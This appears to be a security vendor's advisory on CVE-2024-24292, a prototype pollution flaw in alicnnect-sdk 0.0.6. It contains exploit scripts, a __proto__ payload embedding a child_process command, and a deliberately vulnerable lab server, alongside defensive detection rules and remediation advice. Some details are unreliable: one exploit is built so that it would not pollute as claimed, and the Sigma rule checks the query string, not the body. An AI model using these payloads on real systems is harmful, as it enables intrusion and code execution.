CVE-2024-24292

Executive Summary

CVE-2024-24292 is a critical Prototype Pollution vulnerability discovered in the Aliconnect SDK version 0.0.6. The flaw resides in the aim function within the aim.js component, allowing an attacker to inject arbitrary properties into an object's prototype chain. This can lead to arbitrary code execution, privilege escalation, or denial of service. The vulnerability is currently unpatched, with no official fix or advisory from the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the potential for remote code execution.

Supply Chain & Package Security

This vulnerability affects the Aliconnect SDK, which is distributed as an npm package (alicnnect-sdk). Organizations using this package in their Node.js applications are at risk. The package version 0.0.6 is the only known affected version. No patched version has been released. Supply chain security teams should immediately audit their dependencies for this package and consider removing or replacing it until a fix is available.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, but this is likely a placeholder. Based on the nature of the vulnerability (Prototype Pollution leading to arbitrary code execution), a realistic CVSS v3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Base Score: 9.8 - Critical)

• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full data access possible.
• Integrity (I): High – Full data modification possible.
• Availability (A): High – Full system disruption possible.

Threat Level: Critical. The lack of a patch and the potential for remote code execution make this a high-priority vulnerability for remediation.

Deep Dive & Mechanics

Prototype Pollution is a JavaScript vulnerability that occurs when an attacker can control the properties of an object's prototype. In JavaScript, every object has a prototype, and properties added to the prototype are inherited by all objects. The aim function in aim.js likely merges user-supplied objects without proper sanitization, allowing an attacker to set properties like __proto__, constructor.prototype, or prototype to inject malicious values.

Attack Flow:

1. The attacker sends a crafted JSON payload to an endpoint that uses the aim function.
2. The payload contains a key like __proto__ with a nested object (e.g., {"__proto__": {"isAdmin": true}}).
3. The aim function merges this payload into an existing object, polluting the prototype.
4. All objects in the application now inherit the isAdmin property, potentially granting the attacker elevated privileges.
5. Further exploitation can lead to arbitrary code execution by polluting properties used in dynamic code execution (e.g., eval, Function constructor).

Example Payload:

{
  "__proto__": {
    "shell": "node -e 'require(\"child_process\").execSync(\"id\")'"
  }
}

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the aim function in aim.js of Aliconnect SDK v0.0.6. A secure implementation would use a safe merge function that prevents prototype pollution.

Vulnerable Code (Conceptual):

function aim(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object' && source[key] !== null) {
      if (!target[key]) Object.assign(target, { [key]: {} });
      aim(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

Patched Code (Conceptual):

function aim(target, source) {
  const safeKeys = ['__proto__', 'constructor', 'prototype'];
  for (let key in source) {
    if (safeKeys.includes(key)) continue;
    if (typeof source[key] === 'object' && source[key] !== null) {
      if (!target[key]) Object.assign(target, { [key]: {} });
      aim(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Node.js environment with Aliconnect SDK v0.0.6 installed.
• A vulnerable endpoint that uses the aim function.

Exploit Script (Node.js):

const alicnnect = require('alicnnect-sdk');

// Craft malicious payload
const payload = JSON.parse('{"__proto__": {"polluted": "true"}}');

// Assume 'aim' is used to merge user input into a config object
const config = {};
alicnnect.aim(config, payload);

// Check if prototype is polluted
console.log({}.polluted); // Output: "true"

Advanced Exploit (RCE):

const alicnnect = require('alicnnect-sdk');

// Pollute prototype to execute arbitrary code
const payload = {
  "__proto__": {
    "shell": "node -e 'require(\"child_process\").execSync(\"id\")'"
  }
};

const config = {};
alicnnect.aim(config, payload);

// Trigger code execution via a function that uses 'shell'
// This depends on the application logic

Blue Team

Detection:

• Monitor for requests containing __proto__, constructor, or prototype in JSON payloads.
• Use web application firewalls (WAF) to block such payloads.
• Implement input validation to reject keys that start with __proto__ or constructor.

Honeypot:

• Deploy a fake endpoint that logs all requests with prototype pollution attempts.
• Example: A simple Express.js server that logs the request body.

Lab Setup:

# Install vulnerable SDK
npm install alicnnect-sdk@0.0.6

# Create a vulnerable server
cat > server.js << 'EOF'
const express = require('express');
const alicnnect = require('alicnnect-sdk');
const app = express();

app.use(express.json());

app.post('/vulnerable', (req, res) => {
  const config = {};
  alicnnect.aim(config, req.body);
  res.send('OK');
});

app.listen(3000);
EOF

node server.js

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing __proto__, constructor.prototype, or prototype in JSON body.
  • Unusual Content-Type: application/json POST requests to endpoints using Aliconnect SDK.

• File IOCs:

  • Presence of alicnnect-sdk package in package.json or node_modules.
  • Modified aim.js file (if patched manually).

• Behavioral IOCs:

  • Unexpected properties appearing on objects (e.g., {}.polluted returns true).
  • Unauthorized code execution or privilege escalation.

Detection Engineering

YARA Rule

rule Aliconnect_Prototype_Pollution {
  meta:
    description = "Detects prototype pollution attempts targeting Aliconnect SDK"
    author = "Valters IT"
    date = "2024-01-01"
    reference = "CVE-2024-24292"
  strings:
    $proto1 = "__proto__"
    $proto2 = "constructor.prototype"
    $proto3 = "prototype"
    $aim = "aim"
  condition:
    any of ($proto*) and $aim
}

Sigma Rule

title: Aliconnect SDK Prototype Pollution Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests containing prototype pollution payloads targeting Aliconnect SDK
author: Valters IT
date: 2024-01-01
logsource:
  category: webserver
  product: generic
detection:
  selection:
    cs-method: 'POST'
    cs-uri-query|contains: 
      - '__proto__'
      - 'constructor.prototype'
      - 'prototype'
  condition: selection
falsepositives:
  - Legitimate use of these strings in non-vulnerable contexts
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24292 Aliconnect SDK Prototype Pollution Attempt"; flow:to_server,established; content:"POST"; http_method; content:"__proto__"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Remove or Replace: Remove the Aliconnect SDK from your project. If it is essential, consider forking the repository and applying a manual patch to the aim function.
2. Input Validation: Implement strict input validation to reject any JSON keys that match __proto__, constructor, or prototype.
3. Use Safe Merge Functions: Replace the aim function with a safe alternative like lodash.merge with a customizer that blocks prototype pollution.

Long-term Actions: 4. Monitor for Patches: Watch the Aliconnect SDK repository for any official patch or advisory. 5. Update Dependencies: Regularly update all npm packages and use tools like npm audit to detect vulnerabilities. 6. Implement CSP: Use Content Security Policy headers to mitigate the impact of code execution.

Workaround:

• If you cannot remove the SDK, wrap the aim function with a sanitizer:

const alicnnect = require('alicnnect-sdk');
const safeAim = (target, source) => {
  const sanitized = JSON.parse(JSON.stringify(source), (key, value) => {
    if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
      return undefined;
    }
    return value;
  });
  return alicnnect.aim(target, sanitized);
};

Valters IT
Securing Digital Frontiers